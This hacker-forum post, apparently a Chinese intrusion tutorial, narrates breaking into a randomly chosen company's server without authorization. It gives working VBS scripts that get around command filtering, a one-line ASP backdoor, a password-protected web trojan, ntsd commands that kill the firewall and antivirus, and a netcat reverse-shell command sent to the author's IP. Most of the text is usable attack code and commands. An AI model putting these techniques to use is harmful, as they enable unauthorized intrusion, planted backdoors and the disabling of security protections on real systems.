脚本的巧妙应用
<P><FONT color=#f70909>作者:haicao </FONT>今天在网上看到一个<a href="http://hackbase.com/flash" target="_blank" >动画</A>,<a href="http://hackbase.com/flash" target="_blank" >动画</A>里说那些大公司的安全做的怎么怎么差,所以我便决定找个看看,在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号
http://www.xxx.com.cn/gushi.asp?pid=8&cid=111'
晕,返回错误:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/<a href="http://hackbase.com/network" target="_blank" >iis</A>Help/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/inc/artid.inc,行8
返回的信息说明是SQL Server
ping www.xxx.com.cn后返回IP:61.XX.XX.68通过IP可以直接访问这个网站,说明是独立的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器。
我一下来了兴致看来是家有钱的大公司,用NBSI检测了下这个连接,竟然是SA权限的!
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503182.JPG" border=0>
我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web<a href="http://vip.hackbase.com/" target="_blank" >服务</A>,看来是装了<a href=" target="_blank" >_</A>blank"><a href="http://hackbase.com/hacker" target="_blank" >防火墙</A></A>,意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。
首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了,但在用ECHO写文件时又出了问题了,我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503183.JPG" border=0>
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503184.JPG" border=0>
(特别提示:用NBSI执行命令的时侯最好不要勾选尝试返回结果,因为执行命令会很慢很慢,而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录)
如果能把那个一句话的后门(<a href="http://vip.hackbase.com/" target="_blank" >服务</A>端:<!--ecute request("l"-->)写到WEB目录就好办了,但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^<!--ecute request("l")%^> >>2.txt (由于<,>会被命令过滤所以前面加了^符)可以正常生成文件内容包含<%execute request("l"-->的文件,但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:
<execute request("l")>
<execute request("l")>
<execute request("l")>
<execute request("l")>
这样的话,就没办法直接写一句话的ASP<a href="http://vip.hackbase.com/" target="_blank" >服务</A>端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。
写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为:
on error resume next:x=1:
str=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车
str=replace(str,"**",""""): ‘将**替换为符号"
str=replace(str,"--",chr(38)): ‘将--替换为符号 &
str=replace(str,"@@",chr(37)): '将@@替换符号%
Set fso = CreateObject("Scripting.FileSystemObject"):
Set a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:
这个文件得用ECHO命令把它写到<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器上xxx.vbe或xxx.vbs,然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)
简单解释一下:第一条语句是最重要的,容错语句不管后面的程序出了什么错都继续执行。其次是IF语句,为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件,写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:,其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:
str=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):
若写成str=replace(Wscript.Arguments(0),"==",vbcrlf)
则一行显示多条相同语句时变成
str=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf)
这样程序便不能正常执行了。
",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车,用**代替了双引号,用--代替了&,用@@代替了%.在执行写文件得先把我们要写的文件比如<!--ecute request("l"-->转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件):
on error resume next
if Wscript.Arguments.count<>2 then
wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"
wscript.quit
end if
Set fso=CreateObject("Scripting.FileSystemObject")
Set a=fso.openTextFile(Wscript.Arguments(0))
str=a.readall
str=replace(str,"""","**") '把双引号替换成**
str=replace(str,vbcrlf,"==") '把回车替换成==
str=replace(str,"&","--") '把&号替换成--
str=replace(str,"%","@@") '把%替换成@@
wscript.echo str
Set a=fso.CreateTextFile(Wscript.Arguments(1), True)
a.Write(str)
在本地执行cscript trans.vbs one.txt onetrans.txt
其中one.txt为我们的一句话后门内容为:<!--ecute request("l"-->
转换后内容存在onetrans.txt中内容变成转换后的:<@@execute request(**l**)@@>保存在文件onetrans.txt中。
writefile.vbs的ECHO<a href="http://hackbase.com/hacker" target="_blank" >代码</A>为:
echo on error resume next:x=1:>>writefile.vbe
echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe
echo str=replace(str,"**",""""):>>writefile.vbe
echo str=replace(str,"--",chr(38)):>>writefile.vbe
echo str=replace(str,"@@",chr(37)):>>writefile.vbe
echo Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe
echo Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe
echo if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe
把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器的后门写到对方WEB目录下了!命令为:
cscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来!)
相应的地址为:http://www.xxx.com.cn/app/1.asp
把post.htm的form action指向这个地址我们就可以在本地把我们的<a href="http://hackbase.com/hacker" target="_blank" >木马</A>上传到<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器上了!如图:
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503185.JPG" border=0>
执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP<a href="http://hackbase.com/hacker" target="_blank" >木马</A>。并点击upload当成功转向EST<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>时说明ASP<a href="http://hackbase.com/hacker" target="_blank" >木马</A>上传成功了!
我很顺利的把保存文件的<a href="http://hackbase.com/hacker" target="_blank" >木马</A>上传到了<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器上文件名为advv.asp.如图:
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503186.JPG" border=0>我把这个<a href="http://hackbase.com/hacker" target="_blank" >木马</A>加了验证所以必须得通过这个url才能顺利访问:
http://www.xxx.com.cn/app/advv.asp?id=haicao (当未加参数id=haicao时显示空页面)</P> 实现<a href="http://hackbase.com/hacker" target="_blank" >密码</A>验证的功能很简单只要在ASP文件头部加上以下语句就可以了其中的haicao为<a href="http://hackbase.com/hacker" target="_blank" >密码</A>可以自已修改。
<!--r /> if request("id")="haicao" then<br /> session("eviloctal")="lkkll"<br /> end if<br /> if session("eviloctal")="" then<br /> response.end<br /> end if<br /-->
用保存文件<a href="http://hackbase.com/hacker" target="_blank" >木马</A>(这里上传后文件为advv.asp)上传cmd.asp(同样加了<a href="http://hackbase.com/hacker" target="_blank" >密码</A>验证haicao)
上传了列举进程的脚本,文件名保存为list2.vbe:
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32<a href="http://hackbase.com/hacker/tutorial/2005031810489_1.html#" target="_blank" >_</A>process").instances<a href="http://hackbase.com/hacker/tutorial/2005031810489_1.html#" target="_blank" >_</A> '<-这边有个空格
wscript.echo ps.handle&vbtab&ps.name
next
我用writefile.vbe把这个脚本直接写在system32目录(在NBSI中执行。这样运行脚本方便不用指明脚本在所在路径)命令如下:
cscript writefile.vbe "wscript.echo **PID ProcessName**==for each ps in getobject(**winmgmts:\\.\root\cimv2:win32<a href="http://hackbase.com/hacker/tutorial/2005031810489_1.html#" target="_blank" >_</A>process**).instances<a href="http://hackbase.com/hacker/tutorial/2005031810489_1.html#" target="_blank" >_</A> ==wscript.echo ps.handle--vbtab--ps.name==next" list2.vbe
(详细使用方法同上)
列举的进程列表如下:(我直接在cmd.asp下运行cscript list.vbe,也可以在NBSI里运行cscript list.vbe >>e:\xxxweb\app\1.txt然后通过IE查看文件1.txt)
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
PID ProcessName
0 System Idle Process
8 System
160 SMSS.EXE
184 CSRSS.EXE
204 WINLOGON.EXE
232 SERVICES.EXE
244 LSASS.EXE
448 svchost.exe
480 spoolsv.exe
508 msdtc.exe
624 svchost.exe
652 LLSSRV.EXE
692 <a href="http://hackbase.com/hacker" target="_blank" >sql</A>servr.exe
744 regsvc.exe
780 mstask.exe
848 WinMgmt.exe
900 svchost.exe
920 dfssvc.exe
936 inetinfo.exe
952 mssearch.exe
1256 DLLHOST.EXE
1296 DLLHOST.EXE
1648 svchost.exe
968 explorer.exe
1784 Rfw.exe <-瑞星的网络<a href=" target="_blank" >_</A>blank"><a href="http://hackbase.com/hacker" target="_blank" >防火墙</A></A>
1628 internat.exe
1612 <a href="http://hackbase.com/hacker" target="_blank" >sql</A>mangr.exe
1944 CCenter.exe
1572 RavTimer.exe
1260 Rav.exe
1652 RsAgent.exe
996 agentsvr.exe
2048 <a href="http://hackbase.com/hacker" target="_blank" >sql</A>agent.exe
1172 CMD.EXE
2024 cscript.exe
第一列为进程ID第二列为进程名。
开启的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>如下:(命令为net start,执行方法同上)
已经启动以下 Windows 2000 <a href="http://vip.hackbase.com/" target="_blank" >服务</A>:
Alerter
Automatic Updates
COM+ Event System
Computer Browser
DHCP Client
Distributed File System
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Event Log
IIS Admin Service
IPSEC Policy Agent
License Logging Service
Logical Disk Manager
Messenger
Microsoft Search
MSSQLSERVER
Network Connections
NT LM Security Support Provider
Plug and Play
Print Spooler
Protected Storage
Remote Access Connection Manager
Remote Procedure Call (RPC)
Remote Registry Service
Removable Storage
Rising Process Communication Center
RunAs Service
Security Accounts Manager
Server
Site Server ILS Service
SQLSERVERAGENT
System Event Notification
Task Scheduler
<a href="http://hackbase.com/hacker" target="_blank" >TCP/IP</A> NetBIOS Helper Service
Telephony
Windows Management Instrumentation
Windows Management Instrumentation Driver Extensions
Workstation
World Wide Web Publishing Service
命令成功完成。
我先后在NBSI里执行了ntsd命令关掉瑞星网络<a href=" target="_blank" >_</A>blank"><a href="http://hackbase.com/hacker" target="_blank" >防火墙</A></A>及瑞星杀毒<a href="http://down.hackbase.com/" target="_blank" >软件</A>(命令格式为ntsd -c q -p PID).
关掉网络<a href=" target="_blank" >_</A>blank"><a href="http://hackbase.com/hacker" target="_blank" >防火墙</A></A>后,依然只能连到原先可以访问的80及8080(都是web<a href="http://vip.hackbase.com/" target="_blank" >服务</A>。基本上是硬件<a href=" target="_blank" >_</A>blank"><a href="http://hackbase.com/hacker" target="_blank" >防火墙</A></A>或者是过滤了tcp端口)还上传了海洋顶端(用advv.asp上传),用海洋顶端上传了NC.EXE,先在本机nc -vv -l -p 80监听后,然后在NBSI里执行反向连接的命令(注:那为什么要在NBSI而不直接在cmd.asp里执行反向连接呢,相信你已经想到了在NBSI里反向过来的是administrator权限而cmd.asp里执行反向命令连接过来的却只有iusr权限,呵呵。
)nc 222.75.88.181 -r 80 -e cmd.exe其中222.75.88.181是我的IP顺利的得到了对方的shell如图:
<img src="http://hackbase.com/UpLoadFiles/NewsPhoto/00503187.JPG">
之后我尝试了几个其它的端口依然可以正常的反向连接过来,到此我没再深入下去了,怕怕。
后记:在上传一句话的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>端ASP后门之前我先用writefile.vbe写了<a href="ftp://ftp.txt/" target="_blank" ><FONT color=#0000ff>ftp.txt</FONT></A>的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接,失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>顺利得多,呵呵.这次成功的<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>有一些偶然,因为是独立的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器权限设置全部是默认的设置,省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>有点偶然,但灵活的脚本应用也是这次成功的关键!<P>文章相关脚本下载:<a href="http://haicao.1ki.cn/down/otherscript.rar" target="_blank" ><FONT color=#800080>http://haicao.1ki.cn/down/otherscript.rar</FONT></A></P> 支持楼主的技术大贴!!
页:
[1]